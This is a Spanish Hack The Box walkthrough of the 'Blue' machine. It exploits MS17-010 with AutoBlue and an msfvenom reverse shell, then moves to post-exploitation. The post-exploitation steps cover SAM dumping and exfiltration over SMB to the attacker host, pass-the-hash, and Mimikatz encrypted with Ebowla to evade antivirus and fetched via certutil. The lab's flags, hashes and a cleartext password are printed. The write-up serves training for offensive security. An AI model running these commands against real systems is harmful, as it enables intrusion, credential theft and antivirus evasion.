the_open_door
café
ESEN

Blue

HackTheBoxFácilWindows10.10.10.40

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#smb#eternalblue#ms17-010#smbv1#windows7#pass-the-hash#secretsdump#mimikatz#lsass#ebowla#av-evasion#rdp#persistencia#wmi#ifeo
TL;DR. Blue es la máquina de manual de EternalBlue. Un Windows 7 con SMBv1 expuesto resulta vulnerable a MS17-010; el script de nmap lo confirma y un exploit sin Metasploit (AutoBlue) da shell directa como NT AUTHORITY\SYSTEM, así que ambas flags caen sin escalada. A partir de ahí la máquina se convierte en un laboratorio de post-explotación: volcamos el SAM/SYSTEM (dump de SAM y LSA), sacamos los hashes NT y demostramos Pass-the-Hash, la extracción de credenciales en claro de LSASS con Mimikatz (ofuscado con Ebowla para evadir el antivirus), la habilitación remota de RDP y tres técnicas de persistencia en Windows.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows):

ping -c 1 10.10.10.40

ping a 10.10.10.40 devolviendo un TTL de 127

PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.
64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=102 ms

--- 10.10.10.40 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 102.360/102.360/102.360/0.000 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

El barrido lo lanzamos con una función definida en el .zshrc. Conviene enseñarla, porque el nombre jmap no dice nada por sí solo y lo que importa son los flags que hay detrás:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

Es la primera de las dos fases del escaneo de puertos: barrer los 65535 puertos TCP (-p-) con un SYN scan (-sS), sin resolución DNS (-n) y sin ping previo (-Pn, imprescindible contra Windows, que suele descartar el ICMP), guardando el resultado en formato grepeable (-oG scan) para procesarlo después:

jmap        # 10.10.10.40

el escaneo -p- descubre nueve puertos abiertos, todos con ttl 127

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 19:49 CEST
Initiating SYN Stealth Scan at 19:49
Scanning 10.10.10.40 [65535 ports]
Discovered open port 139/tcp on 10.10.10.40
Discovered open port 135/tcp on 10.10.10.40
Discovered open port 445/tcp on 10.10.10.40
Discovered open port 49155/tcp on 10.10.10.40
Discovered open port 49153/tcp on 10.10.10.40
Discovered open port 49154/tcp on 10.10.10.40
Discovered open port 49152/tcp on 10.10.10.40
Discovered open port 49156/tcp on 10.10.10.40
Discovered open port 49157/tcp on 10.10.10.40
Completed SYN Stealth Scan at 19:49, 15.20s elapsed (65535 total ports)
Not shown: 65205 closed tcp ports (reset), 321 filtered tcp ports (no-response)

PORT      STATE SERVICE       REASON
135/tcp   open  msrpc         syn-ack ttl 127
139/tcp   open  netbios-ssn   syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
49152/tcp open  unknown       syn-ack ttl 127
49153/tcp open  unknown       syn-ack ttl 127
49154/tcp open  unknown       syn-ack ttl 127
49155/tcp open  unknown       syn-ack ttl 127
49156/tcp open  unknown       syn-ack ttl 127
49157/tcp open  unknown       syn-ack ttl 127

Nueve puertos, y ninguno de ellos es web: el bloque 135 / 139 / 445 es la tríada RPC + NetBIOS + SMB de cualquier Windows, y el rango 49152-49157 son puertos efímeros donde el endpoint mapper publica servicios RPC. Un Windows sin más superficie que SMB deja muy poco donde elegir. El propio ttl 127 de cada línea vuelve a confirmar el sistema operativo, ahora sobre TCP en lugar de ICMP.

Los 65205 puertos restantes contestan reset (cerrados, hay pila TCP respondiendo) y 321 no contestan nada (filtered), un residuo normal del --min-rate 5000.

Con nueve puertos a mano, copiarlos es engorroso, así que una segunda función del .zshrc los extrae del fichero grepeable y los deja en el portapapeles:

extractPorts () {
        echo -e "Extracting information..."
        ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)
        ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
        echo -e "IP Address: $ip_address"
        echo -e "Open ports: $ports\n"
        echo "$ports" | xclip -sel clip
        echo -e "Ports copied to clipboard\n"
}
extractPorts scan

extractPorts imprime la IP y la lista de puertos abiertos y los copia al portapapeles

Extracting information ...
IP Address: 10.10.10.40
Open ports: 135,139,445,49152,49153,49154,49155,49156,49157

Ports copied to clipboard

La segunda fase es el escaneo dirigido: sobre esos nueve puertos, -sCV identifica servicio y versión y lanza los scripts básicos de reconocimiento:

nmap -p135,139,445,49152,49153,49154,49155,49156,49157 -sCV 10.10.10.40

el escaneo de versiones identifica Windows 7 Professional 7601 Service Pack 1

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49156/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -19m57s, deviation: 34m35s, median: 0s
| smb2-time:
|   date: 2025-06-20T17:52:39
|_  start_date: 2025-06-20T17:46:33
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-06-20T18:52:42+01:00
| smb2-security-mode:
|   2:1:0:
|_  Message signing enabled but not required

Aquí está todo lo que necesitábamos. El sistema es un Windows 7 Professional 7601 Service Pack 1, el equipo se llama HARIS-PC y pertenece a un grupo de trabajo (WORKGROUP), no a un dominio, así que no hay Kerberos ni controlador de dominio detrás y el clock-skew que reporta nmap da igual en este caso.

Dos detalles del bloque de seguridad SMB merecen una lectura. Que smb-security-mode responda significa que SMBv1 sigue activo, porque ese script solo habla el dialecto antiguo; y message_signing: disabled (junto al enabled but not required de SMB2) indica que la firma de mensajes no es obligatoria, lo que en un dominio abriría la puerta a ataques de relay. Aquí no hará falta llegar tan lejos.

SMB - TCP 445: verificar MS17-010

Un Windows 7 con SMBv1 es el perfil exacto de EternalBlue, y nmap trae un script que da un veredicto fiable antes de lanzar nada. Como no recordamos el nombre exacto, primero listamos los scripts de vulnerabilidades SMB que trae instalados:

locate .nse | grep -i "smb-vuln"
nmap -n -p445 --script smb-vuln-ms17-010.nse 10.10.10.40

el script smb-vuln-ms17-010 marca la máquina como VULNERABLE

/usr/share/nmap/scripts/smb-vuln-conficker.nse
/usr/share/nmap/scripts/smb-vuln-cve-2017-7494.nse
/usr/share/nmap/scripts/smb-vuln-cve2009-3103.nse
/usr/share/nmap/scripts/smb-vuln-ms06-025.nse
/usr/share/nmap/scripts/smb-vuln-ms07-029.nse
/usr/share/nmap/scripts/smb-vuln-ms08-067.nse
/usr/share/nmap/scripts/smb-vuln-ms10-054.nse
/usr/share/nmap/scripts/smb-vuln-ms10-061.nse
/usr/share/nmap/scripts/smb-vuln-ms17-010.nse
/usr/share/nmap/scripts/smb-vuln-regsvc-dos.nse
/usr/share/nmap/scripts/smb-vuln-webexec.nse

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

State: VULNERABLE, con el CVE-2017-0143. Conviene recordar que un escáner diciendo "vulnerable" es un indicio muy fuerte, no una prueba: la prueba es el exploit ejecutándose. Vamos a por ello.

Shell como SYSTEM

EternalBlue (MS17-010) sin Metasploit

Lo cómodo sería exploit/windows/smb/ms17_010_eternalblue de Metasploit, pero certificaciones como la OSCP limitan su uso, así que tiramos de AutoBlue-MS17-010 (repo), que reimplementa el exploit en Python. El flujo tiene dos partes: generar el shellcode y lanzar el exploit del kernel.

git clone https://github.com/3ndG4me/AutoBlue-MS17-010
ls
ls AutoBlue-MS17-010/shellcode

clonado del repositorio AutoBlue-MS17-010 y contenido del directorio shellcode

Cloning into 'AutoBlue-MS17-010'...
remote: Enumerating objects: 145, done.
remote: Counting objects: 100% (69/69), done.
remote: Compressing objects: 100% (30/30), done.
remote: Total 145 (delta 52), reused 43 (delta 39), pack-reused 76 (from 1)
Receiving objects: 100% (145/145), 105.75 KiB | 966.00 KiB/s, done.
Resolving deltas: 100% (86/86), done.

# ls
AutoBlue-MS17-010

# ls AutoBlue-MS17-010/shellcode
eternalblue_kshellcode_x64.asm  eternalblue_kshellcode_x86.asm  eternalblue_sc_merge.py  shell_prep.sh

El directorio shellcode no trae binarios, solo ensamblador del shellcode de kernel y un script que lo compila: shell_prep.sh. Lo ejecutamos y él nos va preguntando:

cd AutoBlue-MS17-010/shellcode
./shell_prep.sh

shell_prep.sh compila el shellcode de kernel y genera el payload con msfvenom

Eternal Blue Windows Shellcode Compiler

Let's compile them windoos shellcodezzz

Compiling x64 kernel shellcode
Compiling x86 kernel shellcode
kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
Y
LHOST for reverse connection:
10.10.16.5
LPORT you want x64 to listen on:
1234
LPORT you want x86 to listen on:
1234
Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
1
Type 0 to generate a staged payload or 1 to generate a stageless payload
1
Generating x64 cmd shell (stageless)...

msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.16.5 LPORT=1234
Payload size: 460 bytes
Saved as: sc_x64_msf.bin

Generating x86 cmd shell (stageless)...

msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.5 LPORT=1234
Payload size: 324 bytes
Saved as: sc_x86_msf.bin

MERGING SHELLCODE WOOOO!!!
DONE

# ls
eternalblue_kshellcode_x64.asm  eternalblue_sc_merge.py  sc_x64.bin        sc_x64_msf.bin  sc_x86_kernel.bin  shell_prep.sh
eternalblue_kshellcode_x86.asm  sc_all.bin               sc_x64_kernel.bin sc_x86.bin      sc_x86_msf.bin

Las dos respuestas que importan son las dos últimas. Elegimos 1 (cmd normal) en lugar de Meterpreter, precisamente para no depender de Metasploit, y 1 (stageless), es decir, un payload que viaja entero de una vez en lugar de descargar una segunda etapa: en un exploit que corrompe memoria de kernel cuantas menos piezas móviles, mejor.

El script fusiona el shellcode de kernel (el que repara el estado del sistema tras el desbordamiento para que Windows no reviente) con el de usuario (la reverse shell) y deja varios .bin. El que usaremos es sc_x64.bin, que es la fusión de los dos para 64 bits.

EternalBlue corrompe memoria en el servicio SMBv1 hasta lograr ejecución en modo kernel, de ahí que la shell resultante sea ya SYSTEM sin pasar por ningún usuario. Como es un Windows 7 x64, usamos el exploit específico de esa versión, dejando antes el listener preparado en el puerto que indicamos al generar el payload (1234):

sudo nc -nlvp 1234
python3 ../eternalblue_exploit7.py 10.10.10.40 sc_x64.bin

el exploit eternalblue_exploit7.py se ejecuta y en el listener cae una shell como nt authority\system

# python3 ../eternalblue_exploit7.py 10.10.10.40 sc_x64.bin
shellcode size: 1232
numGroomConn: 13
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done

# sudo nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.40] 49159
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Merece la pena leer la salida del exploit en lugar de darla por buena. numGroomConn: 13 es el número de conexiones que abre para acomodar el heap (el grooming: colocar los bloques de memoria en el orden que necesita el desbordamiento), y ese trabajo previo es probabilístico, por eso a veces hace falta lanzarlo un par de veces. Target OS confirma que el exploit ha identificado bien la versión, las dos líneas SMB1 session setup allocate nonpaged pool success son las reservas de memoria no paginada logradas, y el good response status: INVALID_PARAMETER es, contra toda intuición, la señal de éxito: es la respuesta que devuelve el servidor cuando la corrupción ha cuajado.

En el listener cae una shell directamente como nt authority\system. No hay fase de usuario ni de escalada: EternalBlue entrega el sistema entero de una vez.

Las dos flags

type haris\Desktop\user.txt
type Administrator\Desktop\root.txt

lectura de user.txt de haris y root.txt de Administrator desde la shell SYSTEM

C:\Users>type haris\Desktop\user.txt
f2eb1843524f1f1e74fefe675cbbebb8

C:\Users>type Administrator\Desktop\root.txt
f61b3d3cbfe7068f64342e6f995eb619

Las dos flags desde la misma shell, sin escalada intermedia, porque SYSTEM puede leer el escritorio de cualquier usuario.

Post-explotación

Con SYSTEM la máquina ya está comprometida, pero Blue es un banco de pruebas ideal para las técnicas que vienen después del acceso, que en un pentest real son las que convierten un equipo en toda la red.

Del SAM al hash NT

Las credenciales locales de Windows viven cifradas en el hive SAM (Security Account Manager), y la clave para descifrarlas, la bootkey, está repartida en el hive SYSTEM. Ninguno de los dos se puede copiar en caliente con un copy normal porque el sistema los tiene abiertos, pero reg save sí puede exportarlos, y con SYSTEM tenemos permiso para hacerlo:

cd C:\Windows\Temp
mkdir PostExploitation & cd PostExploitation
reg save HKLM\system system.backup
reg save HKLM\sam sam.backup
dir

reg save exporta los hives SYSTEM y SAM a ficheros en disco

C:\Windows\Temp\PostExploitation>reg save HKLM\system system.backup
The operation completed successfully.

C:\Windows\Temp\PostExploitation>reg save HKLM\sam sam.backup
The operation completed successfully.

C:\Windows\Temp\PostExploitation>dir
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\Windows\Temp\PostExploitation

20/06/2025  23:46    <DIR>          .
20/06/2025  23:46    <DIR>          ..
20/06/2025  23:46            24,576 sam.backup
20/06/2025  23:45        10,649,600 system.backup
               2 File(s)     10,674,176 bytes
               2 Dir(s)   2,410,532,864 bytes free

La diferencia de tamaño es ilustrativa: el SAM son 24 KB (unas pocas cuentas locales) mientras que el SYSTEM son 10 MB, porque es la colmena de configuración entera del sistema y solo nos interesa un fragmento de ella.

Para sacarlos, levantamos un servidor SMB en la máquina atacante y copiamos desde la víctima. -smb2support es importante: sin él, impacket habla solo SMBv1 y algunos Windows lo rechazan.

impacket-smbserver smbFolder . -smb2support
copy sam.backup \\10.10.16.5\smbFolder\sam
copy system.backup \\10.10.16.5\smbFolder\system

el servidor SMB de impacket registra la autenticación de HARIS-PC mientras la víctima copia los dos ficheros

Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Incoming connection (10.10.10.40,49160)
[*] AUTHENTICATE_MESSAGE (\,HARIS-PC)
[*] User HARIS-PC\ authenticated successfully
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)

C:\Windows\Temp\PostExploitation>copy sam.backup \\10.10.16.5\smbFolder\sam
        1 file(s) copied.

C:\Windows\Temp\PostExploitation>copy system.backup \\10.10.16.5\smbFolder\system
        1 file(s) copied.

El propio log del servidor es la prueba de la transferencia: HARIS-PC se autentica (con sesión nula, de ahí el usuario vacío) y monta los dos recursos. Comprobamos que han llegado enteros comparando tamaños con el dir de antes:

ls -l

los ficheros sam y system recibidos en el directorio del servidor SMB

total 10424
-rwxr-xr-x 1 root root    24576 Jun 21 00:46 sam
-rwxr-xr-x 1 root root 10649600 Jun 21 00:45 system

24 576 y 10 649 600 bytes, exactamente los mismos que en la víctima.

Aquí apareció un obstáculo que no tiene nada que ver con la máquina pero que se cruza a menudo: impacket-secretsdump fallaba por incompatibilidad entre versiones de librerías de Python del sistema. La solución limpia es un entorno virtual con su propia copia de impacket:

cd /home/krmena/machines/blue/content/impacket
python3 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
pip install -e .

creación de un entorno virtual de Python para aislar la instalación de impacket

Requirement already satisfied: pip in ./.venv/lib/python3.13/site-packages (25.0.1)
Collecting pip
  Downloading pip-25.1.1-py3-none-any.whl.metadata (3.6 kB)
  Downloading pip-25.1.1-py3-none-any.whl (1.8 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.8/1.8 MB 27.4 MB/s eta 0:00:00
Installing collected packages: pip

Con el entorno activo, secretsdump reconstruye los hashes a partir de los dos ficheros. El modo LOCAL le dice que trabaje sobre ficheros en disco en lugar de conectarse a un objetivo remoto:

impacket-secretsdump -sam ../sam -system ../system LOCAL
deactivate

secretsdump extrae la bootkey y los hashes NT del SAM, incluido el de Administrator

Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xa749692f1dc76b46d7141ef778aa6bef
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cdf51b162460b7d5bc898f493751a0cc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
haris:1000:aad3b435b51404eeaad3b435b51404ee:8002bc89de91f6b52d518bde69202dc6:::
[*] Cleaning up...

La primera línea es la que justifica haber necesitado los dos ficheros: Target system bootKey sale del SYSTEM y sin ella el SAM es ruido. Después vienen las tres cuentas locales en formato usuario:RID:hash_LM:hash_NT. El RID 500 identifica siempre al administrador local integrado, y el hash NT de Administrator es cdf51b162460b7d5bc898f493751a0cc.

Un apunte para leer estas salidas: el aad3b435b51404eeaad3b435b51404ee que se repite en las tres es el hash LM del string vacío, es decir, LM está deshabilitado (lo normal desde Windows Vista) y solo el segundo hash cuenta. Y el hash NT de Guest, 31d6cfe0d16ae931b73c59d7e0c089c0, es el de la contraseña vacía: verlo es señal de una cuenta sin contraseña, un valor que conviene reconocer de memoria.

Pass-the-Hash

Con Pass-the-Hash no hace falta crackear el hash: muchos protocolos de Windows aceptan el hash NT como prueba de identidad, porque internamente el reto-respuesta se calcula a partir del hash, no de la contraseña. Lo validamos con crackmapexec y abrimos shell con psexec.py:

crackmapexec smb 10.10.10.40 -u 'Administrator' -H 'cdf51b162460b7d5bc898f493751a0cc' 2>/dev/null
psexec.py Administrator@10.10.10.40 -hashes :cdf51b162460b7d5bc898f493751a0cc

crackmapexec confirma Pwn3d! y psexec.py devuelve una shell SYSTEM por Pass-the-Hash

SMB  10.10.10.40  445  HARIS-PC  [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True)
SMB  10.10.10.40  445  HARIS-PC  [+] haris-PC\Administrator:cdf51b162460b7d5bc898f493751a0cc (Pwn3d!)

# psexec.py Administrator@10.10.10.40 -hashes :cdf51b162460b7d5bc898f493751a0cc
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.40.....
[*] Found writable share ADMIN$
[*] Uploading file czuDudqU.exe
[*] Opening SVCManager on 10.10.10.40.....
[*] Creating service DERj on 10.10.10.40.....
[*] Starting service DERj.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
f61b3d3cbfe7068f64342e6f995eb619

crackmapexec marca (Pwn3d!), que es su forma de decir que esas credenciales son administrador local. De paso confirma en el banner lo que ya sabíamos (SMBv1:True) y que la firma está desactivada (signing:False).

La salida de psexec.py merece atención porque explica cómo funciona: sube un ejecutable con nombre aleatorio (czuDudqU.exe) al recurso administrativo ADMIN$, abre el gestor de servicios remoto y crea y arranca un servicio (DERj) que lo ejecuta. Como los servicios corren bajo SYSTEM, la shell resultante también lo es. Ese rastro (fichero en ADMIN$ más servicio efímero con nombre aleatorio) es exactamente lo que un EDR busca.

Mimikatz: credenciales en claro desde LSASS, evadiendo el antivirus

El proceso lsass.exe guarda en memoria material de autenticación de las sesiones activas. Mimikatz (repo) lo lee y, en sistemas antiguos como este, recupera contraseñas en texto claro además de los hashes. El problema práctico es que mimikatz.exe es probablemente el binario más firmado del mundo: cualquier antivirus lo borra antes de que llegue a disco.

Para sortearlo usamos Ebowla (repo), que no ofusca el código sino que lo cifra y lo ata al entorno del objetivo: el ejecutable resultante deriva su clave de descifrado de variables de entorno de la máquina víctima, así que solo se descifra (y por tanto solo existe en memoria) si se ejecuta exactamente donde debía. Un antivirus que lo analice en otro sitio no ve más que datos cifrados.

git clone https://github.com/Genetic-Malware/Ebowla
locate mimikatz.exe
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe Ebowla/mimikatz.exe
ls Ebowla

clonado de Ebowla y copia del mimikatz.exe de x64 dentro de su directorio

Cloning into 'Ebowla'...
remote: Enumerating objects: 559, done.
remote: Total 559 (delta 0), reused 0 (delta 0), pack-reused 559 (from 1)
Receiving objects: 100% (559/559), 35.46 MiB | 2.34 MiB/s, done.
Resolving deltas: 100% (287/287), done.

# locate mimikatz.exe
/usr/share/windows-resources/mimikatz/Win32/mimikatz.exe
/usr/share/windows-resources/mimikatz/x64/mimikatz.exe

# ls Ebowla
Eko_2016_Morrow_Pitts_Master.pdf              README.md          cleanup.py         formats.md
Infiltrate_2016_Morrow_Pitts_Genetic_Malware.pdf  build_python.sh    documentation.md   genetic.config
LICENSE.md                                    build_x64_go.sh    ebowla.py          mimikatz.exe
MemoryModule                                  build_x86_go.sh    encryption         templates

Elegimos la versión x64 porque el objetivo es un Windows 7 de 64 bits (lo confirmó el banner de crackmapexec). Toda la configuración vive en genetic.config:

sudo nano Ebowla/genetic.config

genetic.config con los valores por defecto: output_type powershell y payload_type shellcode

# Template output: GO, Python, OR PowerShell
output_type = powershell

# type of file being fed (payload) - also determines execution
payload_type = shellcode

Los valores por defecto no nos sirven, así que cambiamos los dos:

genetic.config modificado con output_type GO y payload_type EXE

output_type = GO

payload_type = EXE

GO porque los binarios de Go son autocontenidos, no dependen de un intérprete instalado y, al ser un lenguaje menos habitual en malware, tienen menos firmas asociadas. Los propios comentarios del fichero añaden una razón mejor: # GO: Nothing is written to disk, es decir, el payload se reconstruye en memoria. Y EXE porque lo que le damos de comer es un ejecutable (mimikatz.exe), no shellcode suelto.

La segunda mitad del fichero es la que ata el binario a la máquina. Por defecto trae valores de ejemplo:

sección symmetric_settings_win del genetic.config con valores de ejemplo como username admin

[[ENV_VAR]]
    username = 'admin'
    computername =
    homepath = ''
    ...
    userdomain = 'DESKTOP-E1D6G0A'

Estos valores no aportan evasión por sí mismos; lo que hacen es derivar la clave AES-CFB-256 de las variables de entorno del objetivo. La consecuencia práctica es doble: si el binario acaba en una máquina que no es la prevista, no se descifra y no se ejecuta, y de paso un analista que lo capture en tránsito no puede detonarlo en su laboratorio. Dejar los valores de ejemplo lo rompería, así que hay que leerlos de la víctima. Volvemos a la shell de psexec.py y los preguntamos:

echo %username%
echo %computername%
echo %homepath%
echo %Number_of_processors%
echo %processor_identifier%
echo %userdomain%
echo %path%

las variables de entorno leídas de la víctima con echo y trasladadas una a una al genetic.config

C:\Windows\system32>echo %username%
HARIS-PC$

C:\Windows\system32>echo %computername%
HARIS-PC

C:\Windows\system32>echo %homepath%
%homepath%

C:\Windows\system32>echo %Number_of_processors%
2

C:\Windows\system32>echo %processor_identifier%
AMD64 Family 25 Model 1 Stepping 1, AuthenticAMD

C:\Windows\system32>echo %userdomain%
WORKGROUP

C:\Windows\system32>echo %path%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0;

Un detalle que confirma dónde estamos: %username% devuelve HARIS-PC$, con el dólar final. Ese es el nombre de la cuenta de equipo, no de un usuario, que es como se presenta SYSTEM. Y %homepath% se devuelve a sí mismo sin expandir, señal de que esa variable no existe en el contexto del servicio, así que la dejamos vacía en la configuración en lugar de inventarla. Las demás se copian tal cual al genetic.config.

Con la configuración lista, el primer comando cifra el ejecutable y escupe código fuente en Go:

python2 ebowla.py mimikatz.exe genetic.config
ls output

ebowla.py cifra mimikatz.exe y genera el fuente en Go con la clave derivada del entorno

[*] Using Symmetric encryption
[*] Payload length 1355264
[*] Payload_type exe
[*] Using EXE payload template
[*] Used environment variables:
        [-] environment value used: Number_of_processors, value used: 2
        [-] environment value used: computername, value used: haris-pc
        [-] environment value used: path, value used: c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;
        [-] environment value used: processor_identifier, value used: amd64 family 25 model 1 stepping 1, authenticamd
        [-] environment value used: username, value used: haris-pc$
[!] Path string not used as pasrt of key
[!] External IP mask NOT used as part of key
[!] System time NOT used as part of key
[*] String used to source the encryption key: 2haris-pcc:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;amd64 family 25 model 1 stepping 1, authenticamdharis-pc$
[*] Applying 10000 sha512 hash iterations before encryption
[*] Encryption key: cc811b2c2a3d6771e0f27bab313f1ce0b4028df7bcc8dba8199ad32d2020831c
[*] Writing GO payload to: go_symmetric_mimikatz.exe.go

# ls output
go_symmetric_mimikatz.exe.go

Esta salida deja de convertir a Ebowla en una caja negra. Se ve la cadena exacta con la que construye la clave (la concatenación literal de las cinco variables, en minúsculas), las 10 000 iteraciones de SHA-512 que aplica sobre ella y la clave AES resultante. En la máquina víctima el binario repetirá ese mismo cálculo con sus propias variables: si coinciden, obtiene la clave y se descifra; si no, no hay nada que ejecutar.

El segundo comando compila ese fuente:

./build_x64_go.sh output/go_symmetric_mimikatz.exe.go final_mimi.exe
ls output

build_x64_go.sh compila el fuente Go y produce el ejecutable final_mimi.exe

[*] Copy Files to tmp for building
[*] Building ...
[*] Building complete
[*] Copy final_mimi.exe to output
[*] Cleaning up
[*] Done

# ls output
final_mimi.exe  go_symmetric_mimikatz.exe.go

Lo transferimos con certutil.exe, un binario legítimo de Windows (LOLBIN) pensado para gestionar certificados, pero que descarga cualquier fichero por HTTP y por eso es el equivalente al wget que Windows no trae:

python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.16.5/final_mimi.exe

certutil descarga final_mimi.exe y el servidor HTTP registra las dos peticiones con código 200

C:\Windows\system32>certutil.exe -f -urlcache -split http://10.10.16.5/final_mimi.exe
****  Online  ****
  000000  ...
  5e6061
CertUtil: -URLCache command completed successfully.

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.40 - - [22/Jun/2025 02:19:18] "GET /final_mimi.exe HTTP/1.1" 200 -
10.10.10.40 - - [22/Jun/2025 02:19:27] "GET /final_mimi.exe HTTP/1.1" 200 -

Los dos 200 del log son la confirmación por el otro extremo de que el fichero salió entero, y el 5e6061 hexadecimal del certutil es el tamaño transferido, algo más de 6 MB. Ya en la víctima, lo ejecutamos:

final_mimi.exe
privilege::debug
sekurlsa::logonPasswords

mimikatz vuelca de LSASS la contraseña en claro del usuario Administrator

C:\Windows\Temp>final_mimi.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 434251 (00000000:0006a04b)
Session           : Interactive from 0
User Name         : Administrator
Domain            : haris-PC
Logon Server      : HARIS-PC
Logon Time        : 22/06/2025 18:53:18
SID               : S-1-5-21-319597671-3711062392-2889596693-500
        msv :
         [00010000] CredentialKeys
         * NTLM     : cdf51b162460b7d5bc898f493751a0cc
         * SHA1     : dff1521f5f2d7436a632d26f079021e9541aba66
         [00000003] Primary
         * Username : Administrator
         * Domain   : haris-PC
         * NTLM     : cdf51b162460b7d5bc898f493751a0cc
         * SHA1     : dff1521f5f2d7436a632d26f079021e9541aba66
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : haris-PC
         * Password : ejfnIWWDojfWEKM
        Kerberos :
         * Username : Administrator
         * Domain   : haris-PC
         * Password : (null)
        ssp :

Que el binario arranque y muestre el banner ya demuestra que el descifrado atado al entorno funcionó. privilege::debug devolviendo Privilege '20' OK confirma que hemos obtenido SeDebugPrivilege, el permiso que hace falta para leer la memoria de procesos protegidos como lsass.exe.

